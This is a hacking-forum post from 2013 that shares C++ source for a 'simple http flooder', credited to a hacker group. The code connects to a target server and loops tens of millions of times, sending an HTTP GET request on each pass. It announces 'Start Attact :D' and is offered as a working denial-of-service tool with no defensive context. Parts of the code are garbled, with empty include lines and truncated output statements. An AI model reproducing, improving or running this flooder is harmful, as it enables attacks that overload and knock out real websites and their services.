makeman Posted June 4, 2013 Share Posted June 4, 2013 [CPPS] /* # --------------------------------- # simple http flooder # Licence : Linux # --------------------------------- # # Title : simple http flooder # Code : C++ # Author : RedH4t.Viper # Email : [email protected] , [email protected] # Date : 2013 01 May # Home : IrIsT Security Center # Thanks : IrIsT ,TBH ,kurdhackteam , 3xp1r3 # #-----------------------------------------------------------------# */ #include #include #include #include #include #include #include #include #include #include using namespace std; int mainbrain(char * s,char *pa,int p,std::string h) { char * server = s;//argv[1]; char * path = pa;//argv[2]; int port_number = p;//atol(argv[3]); std::string http ("http"); string host=h;//argv[1]; unsigned found = host.find(http); if (found!=std::string::npos) { cout << "please enter url with out http: or https : " < exit(1); } hostent * record = gethostbyname(server); if (record==NULL) { herror("gethostbyname failed"); exit(1); } in_addr * addressptr = (in_addr *) record->h_addr; int main_socket = socket(AF_INET, SOCK_STREAM, 0); if (main_socket<0) { perror("socket creation"); exit(1); } sockaddr_in server_info; server_info.sin_family = AF_INET; server_info.sin_addr = * addressptr; server_info.sin_port = htons(port_number); int r = connect(main_socket, (sockaddr *) &server_info, sizeof(server_info)); if (r<0) { perror("connect"); exit(1); } printf("Connected to %s\n", inet_ntoa(* addressptr)); FILE * r_connection=fdopen(main_socket, "r"); FILE * w_connection=fdopen(main_socket, "w"); fprintf(w_connection, "GET http://%s%s HTTP/1.0\r\n\r\n", server,path); fflush(w_connection); char line[1000]; for (int i=1; 1; i+=1) { char *s=fgets(line, 999, r_connection); if (s==NULL) { printf("Disconnected\n"); break; } printf("Line %d: %s", i, line); } fflush(w_connection); fclose(w_connection); fclose(r_connection); close(main_socket); return 0; } int main(int argc, char *argv[]) { char * SERVER = argv[1]; char * PATH = argv[2]; int PORT = atol(argv[3]); string HOST= argv[1]; if (argc!=4) { fprintf(stderr, "plz input \n"); exit(1); } std::string http ("http"); unsigned found = HOST.find(http); if (found!=std::string::npos) { cout << "please enter url with out http: or https : " < exit(1); } cout << "Start Attact :D ..." << endl; for (long int counter=1;counter <= 99999999;counter++) { sleep(0.1); cout << " [*] Start Thread " << counter < mainbrain(SERVER,PATH,PORT,HOST); } return 0; } [/CPPS] Link to comment Share on other sites More sharing options...
Recommended Posts